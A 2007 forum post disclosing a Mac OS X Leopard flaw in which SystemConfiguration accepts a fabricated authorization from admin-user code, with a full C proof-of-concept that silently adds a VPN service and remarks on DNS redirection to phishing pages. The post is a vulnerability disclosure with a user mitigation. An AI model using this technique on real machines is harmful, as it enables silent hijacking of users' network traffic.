Home › Forums › OS X Server and Client Discussion › Misc. › Leopard’s open invitation to malware developers
- This topic has 0 replies, 1 voice, and was last updated 17 years, 4 months ago by
khiltd.
-
AuthorPosts
-
December 21, 2007 at 5:54 pm #370875
khiltd
ParticipantRemember that trojan plugin that poked poisoned DNS servers into unsuspecting OS X users’ network settings thereby redirecting legitimate web traffic to phishing sites and porn ads? Well from what I’ve seen, a new function in 10.5’s SystemConfiguration framework just made that style of attack a whole lot easier to pull off without anyone noticing.
Specifically, when run under an admin account (as I’d venture that most applications and application plugins will be for over 90% of all home and small business users in the world since that’s the way their installer discs set them up) the brand new function [b]SCPreferencesCreateWithAuthorization[/b] will swallow any bogus AuthorizationRef you feed it without challenge and happily return a preferences session with which one can obtain a write lock and proceed to do whatever one wishes to /Library/Preferences/SystemConfiguration/preferences.plist. Want to make requests for “google.com” resolve to your own page full of Enzyte ads? Simple! My testing has shown that, on a stock Leopard installation, any code, anywhere can do this, and the user will never see an authentication dialog. They may very well never notice that anything has even happened.
But changing DNS servers is just the beginning. Consider what else lives in SC’s persistent store that malicious code might be interested in. How about the incomprehensibly inconsistently named “Dynamic Global Host”/”BackToMyMac”/Wide-Area Bonjour settings? How much work would it take to cause an unsuspecting user’s machine to begin registering itself and advertising file sharing services (which they assumed were private) on a foreign BIND box? Haven’t actually tried it yet, but it certainly seems to be well within the realm of possibility (maybe Apple’s banking on the fact that this’ll never happen because they’ve never taken the time to document Wide-Area Bonjour well enough for anyone to get a reliable server up and running!).
Snappy retorts I’ve already received from Apple employees followed by reasons why I feel they’re full of beans:
[b]1. Don’t use an admin account[/b]
[i]-OK; tell the installer/Macbuddy/whatever team to stop creating them for us while you’re at it.[/i]
[b]2. [size=12]Check “Require password to unlock each System Preferences pane” in your Security settings and you’ll see the authentication dialog you expect to[/size][/b] (this actually works)
[i]-Sweet. Done. Now explain that to my grandma. After that you can explain why it isn’t set by default if it’s so critical. If anything this just proves that SCPreferencesCreateWithAuthorization is already perfectly capable of doing the right thing and is simply choosing not to.[/i]
[b]3. File a bug report[/b] (DTS to English translation: “leave me alone”)
[i]-I was on the payroll once upon a time myself (fired in 2001, thank you) and I’d feel comfortable saying it’s a rare occasion that any meaningful change ever takes place in response to a Radar bug that originated from outside one’s own department except in cases where it came from someone capable of exerting economic or legal pressure on Apple. If you think it’s an important bug, you can file it at the level of priority it deserves much more quickly than I can muddle through a web form and sit around waiting to be ignored by your overpaid product manager for six months until I get a “this bug has been closed because we got tired of looking at it” follow-up email. If you *don’t* think it’s an important bug, then it’s probably not going to be fixed anyway. Maybe if Google indexed Radar entries I’d bother, but until then, filing your bugs is your job.[/i]
So while some people seem to feel that this is the correct and expected behavior for this function, if Launch Services is going to start balking about double-clicked .html files, I don’t think its unreasonable of a user–be they a member of the admin group or not–to expect that their network settings not be modified without their knowledge or consent. If they say yes to the dialog, that’s their problem. If they’re never even given a dialog, that’s Apple’s.
The moral of the story is: [b][color=Red]Make sure your Network settings are locked if you’re a member of the admin group![/color][/b]
Proof of concept code (to be built as a CoreFoundation tool, linking against SystemConfiguration.framework and Security.framework):
I’d use the code tags here for better formatting, but the gigantic font makes the post unreadable…
——–
void ExitIfNil(const void *p, CFStringRef msg);
void ExitIfNot(bool b, CFStringRef msg);
void ExitWithMsg(CFStringRef msg);int main (int argc, const char * argv[])
{
//This tool is meant to demonstrate the fact that SystemConfiguration’s
//persistant data store can be modified by code running as a non-root
//admin user without their knowledge or permission, so it makes no sense
//for us to do anything if we are being run as root.
if ( geteuid() != 0 )
{
printf(“Tool executed without root privileges. Fabricating authorization.\n”, stdout);SCPreferencesRef prefs = nil;
AuthorizationRef auth = nil;
OSStatus authErr = noErr;//Build an AuthorizationRef to pass in to the SystemConfiguration framework
AuthorizationFlags rootFlags = kAuthorizationFlagDefaults
| kAuthorizationFlagExtendRights
| kAuthorizationFlagInteractionAllowed
| kAuthorizationFlagPreAuthorize;authErr = AuthorizationCreate(nil, kAuthorizationEmptyEnvironment, rootFlags, &auth);
if ( authErr == noErr )
{
//If successful, the SystemConfiguration framework will accept this AuthorizationRef
//and request no further validation from this point forward.
prefs = SCPreferencesCreateWithAuthorization(nil, CFSTR(“SCrapist”), nil, auth);
}if ( prefs && SCPreferencesLock(prefs, true) )
{
//We got a write lock, that means we can do whatever
//we want to /Library/Preferences/SystemConfiguration/preferences.plist
printf(“SCPrefs lock obtained successfully.\n”, stdout);//For this demonstration we’ll create a new VPN service which will be
//immediately visible from the Network pane of System Preferences.
SCNetworkInterfaceRef l2tpInterface = SCNetworkInterfaceCreateWithInterface( kSCNetworkInterfaceIPv4,
kSCNetworkInterfaceTypeL2TP);
ExitIfNil((void*)l2tpInterface, CFSTR(“Could not create L2TP interface”));SCNetworkInterfaceRef pppInterface = SCNetworkInterfaceCreateWithInterface( l2tpInterface,
kSCNetworkInterfaceTypePPP);
ExitIfNil((void*)pppInterface, CFSTR(“Could not create PPP interface”));SCNetworkServiceRef vpnService = SCNetworkServiceCreate(prefs, pppInterface);
ExitIfNil((void*)vpnService, CFSTR(“Could not create VPN service”));ExitIfNot(SCNetworkServiceEstablishDefaultConfiguration(vpnService), CFSTR(“Could not establish default configuration”));
ExitIfNot(SCNetworkServiceSetName(vpnService, CFSTR(“Gotcha”)), CFSTR(“Could not set service name”));
ExitIfNot(SCNetworkSetAddService(SCNetworkSetCopyCurrent(prefs), vpnService), CFSTR(“Could not add service to current set”));//Commit and apply
SCPreferencesCommitChanges(prefs);
SCPreferencesApplyChanges(prefs);//Clean up like any good malware author would
CFRelease(l2tpInterface);
CFRelease(pppInterface);
CFRelease(vpnService);SCPreferencesUnlock(prefs);
CFRelease(prefs);
}
}
else
{
printf(“You shouldn’t run this tool as root; it kinda defeats the purpose.\n”, stdout);
}return 0;
}void ExitWithMsg(CFStringRef msg)
{
CFShow(msg);
CFShow(CFSTR(“Cannot continue; exiting.”));exit(1);
}void ExitIfNil(const void *p, CFStringRef msg)
{
if ( p == nil )
{
ExitWithMsg(msg);
}
}void ExitIfNot(bool b, CFStringRef msg)
{
if ( !b )
{
ExitWithMsg(msg);
}
} -
AuthorPosts
- You must be logged in to reply to this topic.
Comments are closed